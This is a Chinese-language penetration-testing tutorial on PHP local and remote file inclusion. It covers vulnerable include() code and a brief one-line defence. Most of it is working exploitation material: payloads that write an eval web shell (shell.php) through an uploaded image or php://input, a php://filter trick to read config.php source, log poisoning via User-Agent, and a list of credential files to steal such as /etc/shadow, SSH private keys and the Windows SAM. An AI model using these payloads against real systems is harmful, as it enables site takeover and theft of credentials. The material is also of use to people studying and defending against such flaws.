文件包含
程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,
而無需再次編寫,這中文件調用的過程一般被稱為文件包含。
程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,
但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,
而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。
在PHP中經常出現包含漏洞,但這並不意味這其他語言不存在。
常見文件包含函數
include():執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行
require():只要程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,並停止腳本
include_once()和require_once():若文件中代碼已被包含則不會再次包含
利用條件
* 程序用include()等文件包含函數通過動態變量的范式引入需要包含的文件 * 用戶能夠控制該動態變量 注:PHP中只要文件內容符合PHP語法規范,包含時不管擴展名是什么都會被PHP解析, 若文件內容不符合PHP語法規范則會暴漏其源碼。
漏洞危害
執行任意代碼
包含惡意文件控制網站
甚至控制服務器
漏洞分類
本地文件包含: 可以包含本地文件,在條件允許時甚至能執行代碼 上傳圖片馬,然后包含 讀敏感文件,讀PHP文件 包含日志文件GetShell 包含/proc/self/envion文件GetShell 包含data:或php://input等偽協議
若有phpinfo則可以包含臨時文件 遠程文件包含: 可以直接執行任意代碼 要保證php.ini中allow_url_fopen和allow_url_include要為On * 白盒就代碼審計 * 至於黑盒的話找cms或者上AWVS吧,騷年...
本地包含
- 示例一
<?php if(@$_GET['page']) { include($_GET['page']); } else { include "show.php"; } ?>


- 示例二
<?php if (@$_GET['page']) { include("./action/".$_GET['page']); } else { include "./action/show.php"; } ?>


- %00截斷包含(PHP<5.3.4)
<?php if (@$_GET['page']) { include "./action/".$_GET['page'].".php"; echo "./action/".$_GET['page'].".php"; } else { include "./action/show.php"; } ?>


還有一個路徑長度截斷,
Linux可以用./或/截斷,需要文件名長度大於4096,
Windows可以用\.或./或\或/截斷,需要大於256,
是否能成功截斷有多方面原因,可以說是靠運氣的
- 示例四
上傳圖片馬,馬包含的代碼為
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
上傳后圖片路徑為 /uploadfile/201643.jpg
這時候需要利用文件解析漏洞,當訪問
http://localhost/dvwa/vulnerabilities/fi/?page=../../uploadfile/201643.jpg/.php
將會在fi這個文件夾下生成shell.php,內容為<?php eval($_POST[xxser]);?>
- 讀敏感文件

可讀如下敏感文件: Windows: C:\boot.ini //查看系統版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存儲系統初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
... Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件標識符) /proc/mounts /porc/config.gz
- 讀PHP文件
直接包含php文件時會被解析,不能看到源碼,可以用封裝協議讀取: ?page=php://filter/read=convert.base64-encode/resource=config.php
訪問上述URL后會返回config.php中經過Base64加密后的字符串,解密即可得到源碼
- 包含日志(主要是得到日志的路徑)
讀日志路徑: 文件包含漏洞讀取apache配置文件 index.php?page=/etc/init.d/httpd index.php?page=/etc/httpd/conf/httpd.conf 默認位置/var/log/httpd/access_log 日志會記錄客戶端請求及服務器響應的信息,訪問 http://www.xx.com/<?php phpinfo(); ?>
時,<?php phpinfo(); ?>也會被記錄在日志里,也可以插入到User-Agent

可以通過Burp Suite來繞過編碼

日志內容如下:


- 包含環境變量文件GetShell
需要PHP運行在CGI模式 然后和包含日志一樣,在User-Agent修改為payload
- 使用PHP封裝協議
allow_url_include=On時, 若執行http://www.xxx.com/index.php?page=php://input,
並且提交數據 <?php fputs(fopen("shell.php","w"),"<?php eval($_POST['xxxser']);?>") ?> 結果將在index.php所在文件下生成一句話文件shell.php


- phpinfo包含臨時文件
向phpinfo上傳文件則可以返回文件路徑,但是文件存在時間很短,
可以用程序持續上傳,然后就可以包含你上傳的文件了
遠程包含
注:遠程的文件名不能為php可解析的擴展名,allow_url_fopen和allow_url_include為On是必須的

若在a.txt寫入 <?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[xxx]); ?>") ?>,可直接寫shell
漏洞防御
PHP中使用open_basedir配置,將訪問限制在指定區域 過濾./\ 禁止服務器遠程文件包含